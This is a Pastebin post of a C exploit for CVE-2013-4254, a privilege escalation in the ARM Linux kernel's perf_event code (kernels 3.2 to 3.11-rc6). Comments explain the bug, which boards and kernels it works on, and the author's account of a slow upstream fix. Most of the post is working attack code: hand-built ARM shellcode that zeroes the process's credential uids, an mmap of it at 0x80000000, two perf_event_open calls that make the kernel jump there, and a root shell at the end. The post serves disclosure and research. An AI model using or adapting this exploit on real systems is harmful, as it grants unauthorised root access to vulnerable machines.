Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /* arm_perf_exploit -- with working shellcode -- CVE-2013-4254 */
- /* by Vince Weaver <vincent.weaver _at_ maine.edu */
- /* Potential (though hard-to-trigger) priviledge escalation on */
- /* ARM and ARM64 kernels from 3.2 until 3.11-rc6 */
- /* This bug found via my perf_fuzzer tool */
- /* It is fixed in 3.11-rc6 with c95eb3184ea1a3a25 */
- /* Also the fix is in 3.10.8 and 3.4.59 */
- /* This was likely introduced with Linux 3.2 with 8a16b34e2119 */
- /* however to exploit you need a very specific code/memory layout */
- /* which so far has only been found on 3.11-rc kernels compiled */
- /* with gcc 4.8.1 */
- /* The right combination might only exist in 3.11-rc kernels */
- /* as 62b8563979273424d6ebe9201e34d1acc133ad4f in -rc1 made */
- /* struct pmu equal 0x70 bytes which is what we need */
- /* r3 offset in value for address address */
- /* validate_event easy explt perf_swevent perf_tracepoint */
- /* 3.11-rc 0x70 0x70 0x80000000 */
- /* 3.9.11 0x6c 0x60 0xffffffff 0x00000000 */
- /* 3.5.7 0x74 0x60 0x00000000 0x00000000 */
- /* perf_cpu_clock perf_subsys */
- /* Compatability Matrix: */
- /* machine kernel gcc exploit works */
- /* -------------------------------------------------*/
- /* pandaboard 3.11-rc4 4.8.1 YES */
- /* beagleboard 3.11-rc5 4.8.1 YES */
- /* beagleboard 3.9.11 4.8.1 NO */
- /* beagleboard 3.7.2-x6 4.6.3 NO */
- /* beagleboard 3.5.7 4.8.1 can't build bootable kernel */
- /***** All about the bug ********************************************/
- /* on ARM, in arch/arm/kernel/perf_event.c validate_event() */
- /* the code assumes all events are of type arm_pmu, and calls */
- /* armpmu->get_event_idx(hw_events, event) */
- /* However, if the group leader is *not* armpmu but another type */
- /* then an address at that offset from that PMU type is called */
- /* (the offset is usually 0x70) */
- /* On Pandaboard/Beagleboard (and maybe other) ARM machines with */
- /* recent 3.11-rc kernels, if the pmu type of the group leader */
- /* is "2" (a tracepoint event) then the offset points */
- /* to perf_reboot_notifier.priority which is initialized to */
- /* INT_MIN (0x80000000) which is an address that can be mmap()'d */
- /* by a user program and the kernel will jump to this address. */
- /****** The travails of trying to get this fixed upstream *****************/
- /* The original oops bug was reported on 6 August 2013 */
- /* and a small fix was developed, tested, and posted to linux-kernel */
- /* I noticed the exploit possibility, tested the exploit, and reported to */
- /* security@vger.kernel.org on 7 August 2013 */
- /* After a week of complete inaction the ARM developers added the fix to */
- /* their patch queue. Feeling burned by recent ARM security issues, */
- /* they just didn't want to deal with things. I questioned the slow */
- /* response and then Ingo Molnar bypassed everything and sent a "fix" */
- /* straight to Linus Torvalds, which appeared in linus-git. The */
- /* problem is he sent the *wrong* fix, for a different oops bug I also */
- /* reported that week. */
- /* The kernel devs don't really seem to care, instead of just merging */
- /* the patch they are debating locking down the perf_event_open() */
- /* syscall by default (even though that likely wouldn't have helped */
- /* in this case). This discussion is still all happening on a closed */
- /* mailing list. I am annoyed, as I do a lot of performance counter */
- /* work for HPC and others, and having a default locked-down perf_event*/
- /* would be a big step backwards. */
- /* The fix c95eb3184ea1a3a25 finally made it into linus-git on 16 August */
- /* and will likely be in stable by 20 August, meaning it took two */
- /* weeks for a potentially dangerous security bug to get fixed despite */
- /* the fix being posted within hours of discovery. */
- /* I sent a note to oss-security on 14 August 2013 and it was assigned */
- /* CVE-2013-4254 on 16 August 2013 */
- /* I'm waiting until the fix makes it into Linux 3.11-rc6 and then stable */
- /* before releasing this. */
- /* Last Updated 20 August 2013 */
- #include <stdio.h>
- #include <unistd.h>
- #include <string.h>
- #include <sys/mman.h>
- #include <sys/syscall.h>
- #include <linux/perf_event.h>
- int fd[2];
- struct perf_event_attr pe[2];
- /* My Poor Attempt at ARM Priviledge Raising Code */
- /* We want to set the uid fields in cred_struct all to zero */
- /* On ARM you find your way to cred_struct by:
- + first finding struct thread_info (at the bottom of your kernel stack)
- so take the SP and mask off by 8KB (stack size on ARM) (SP&~8191)
- + Then you need the task_struct, which is thread_info+12
- + Then you need the cred_struct. Unfortunately this varies depending
- on what features your kernel has compiled in. You can easily
- find this value by disassembling your kernel and seeing what offset
- the copy_creds() function uses to access this.
- On the pandaboard/3.11-rc4 the offset is 732
- cred_struct=task_struct+732;
- + Finally, the uid fields start at offset 4 in task_struct
- */
- #if 0
- /* I compile this then use objdump to get the values to put into SC */
- void test_code(void) {
- asm volatile("push {r0,r1}");
- asm volatile("mov r0,sp");
- asm volatile("mov r1,#0x2000");
- asm volatile("sub r1,r1,#1");
- asm volatile("mvn r1,r1");
- asm volatile("and r0,r0,r1");
- asm volatile("add r0,r0,#12");
- asm volatile("ldr r0,[r0,#732]"); // from copy_creds disasssem
- asm volatile("mov r1,#0");
- asm volatile("str r1,[r0,#4]");
- asm volatile("str r1,[r0,#8]");
- asm volatile("str r1,[r0,#12]");
- asm volatile("str r1,[r0,#16]");
- asm volatile("str r1,[r0,#20]");
- asm volatile("str r1,[r0,#24]");
- asm volatile("str r1,[r0,#28]");
- asm volatile("str r1,[r0,#32]");
- asm volatile("pop {r0,r1}");
- asm volatile("bx lr");
- }
- #endif
- /* My kernel is compiled for arm32. If you have a thumb2 compiled */
- /* kernel your shellcode here would look different. */
- char *SC=
- "\x03\x00\x2d\xe9" // 00: e92d0003 push {r0, r1}
- "\x0d\x00\xa0\xe1" // 04: e1a0000d mov r0, sp
- "\x02\x1a\xa0\xe3" // 08: e3a01a02 mov r1, #8192 ; 0x2000
- "\x01\x10\x41\xe2" // 0C: e2411001 sub r1, r1, #1
- "\x01\x10\xe0\xe1" // 10: e1e01001 mvn r1, r1
- "\x01\x00\x00\xe0" // 14: e0000001 and r0, r0, r1
- "\x0c\x00\x80\xe2" // 18: e280000c add r0, r0, #12
- "\x00\x00\x90\xe5" // 1c: e5900000 ldr r0, [r0]
- #if 1
- /* offset from copy_creds on my pandaboard/3.11-rc4 kernel */
- "\xdc\x02\x90\xe5" // 20: e59002dc ldr r0, [r0, #732] ; 0x2dc
- #else
- /* offset on my beagleboard/3.11-rc5 kernel */
- "\xf4\x02\x90\xe5" // 20: e59002dc ldr r0, [r0, #756] ; 0x2f4
- #endif
- "\x00\x10\xa0\xe3" // 24: e3a01000 mov r1, #0
- "\x04\x10\x80\xe5" // 28: e5801004 str r1, [r0, #4]
- "\x08\x10\x80\xe5" // 2c: e5801008 str r1, [r0, #8]
- "\x0c\x10\x80\xe5" // 30: e580100c str r1, [r0, #12]
- "\x10\x10\x80\xe5" // 34: e5801010 str r1, [r0, #16]
- "\x14\x10\x80\xe5" // 38: e5801014 str r1, [r0, #20]
- "\x18\x10\x80\xe5" // 3c: e5801018 str r1, [r0, #24]
- "\x1c\x10\x80\xe5" // 40: e580101c str r1, [r0, #28]
- "\x03\x00\xbd\xe8" // 44: e8bd0003 pop {r0, r1}
- "\x1e\xff\x2f\xe1" // 48: e12fff1e bx lr
- ;
- int perf_event_open(struct perf_event_attr *hw_event_uptr,
- pid_t pid, int cpu, int group_fd, unsigned long flags) {
- return syscall(__NR_perf_event_open,hw_event_uptr, pid, cpu,
- group_fd, flags);
- }
- int main(int argc, char **argv) {
- char *our_page;
- char *arg[] = {"/bin/sh", 0};
- printf("Before uid: %d\n",getuid());
- /* MMAP a page at 0x8000000 */
- /* You might need to change this. See where the PC is */
- /* in the oops message. */
- our_page=mmap(0x80000000,4096,PROT_WRITE|PROT_EXEC|PROT_READ,
- MAP_PRIVATE|MAP_ANONYMOUS,
- -1,0);
- /* Copy the shellcode to our page */
- memcpy(our_page,SC,21*4);
- /* Set up a group leader of type 2, which is */
- /* tracepoint. On my pandaboard running */
- /* 3.11-rc4 the offset past the tracepoint_pmu */
- /* structure is 0x80000000 a nice userspace */
- /* address. */
- /* You can also try the breakpoint and software pmu */
- /* types in case they give a better offset */
- #if 1
- memset(&pe[0],0,sizeof(struct perf_event_attr));
- pe[0].type=2;
- pe[0].config=72;
- pe[0].size=80;
- #else
- /* A software event to try too */
- /* You can also try breakpoint events but breakpoint */
- /* support isn't always working on ARM machines */
- memset(&pe[0],0,sizeof(struct perf_event_attr));
- pe[0].type=PERF_TYPE_SOFTWARE;
- //pe[0].config=PERF_COUNT_SW_PAGE_FAULTS;
- pe[0].config=PERF_COUNT_SW_CPU_CLOCK; /* uses its own PMU? */
- /* do I need to test separately? */
- pe[0].size=80;
- #endif
- fd[0]=perf_event_open(&pe[0],0,0,-1,0 /*0*/ );
- /* This is the key to the bug, if the group leader is not hardware */
- /* but the child event is hardware, then the kernel tries to */
- /* validate both as hardware, thus the bug. */
- memset(&pe[1],0,sizeof(struct perf_event_attr));
- pe[1].type=PERF_TYPE_RAW;
- pe[1].size=80;
- fd[1]=perf_event_open(&pe[1],0,0,fd[0],0 /*0*/ );
- /* In theory we jumped to a user address (we assume 0x8000000) */
- /* as the kernel. The shellcode was run and then we return */
- /* here... */
- /* Run a shell */
- printf("After uid: %d\n",getuid());
- execve("/bin/sh",arg,NULL);
- return 0;
- }
Add Comment
Please, Sign In to add comment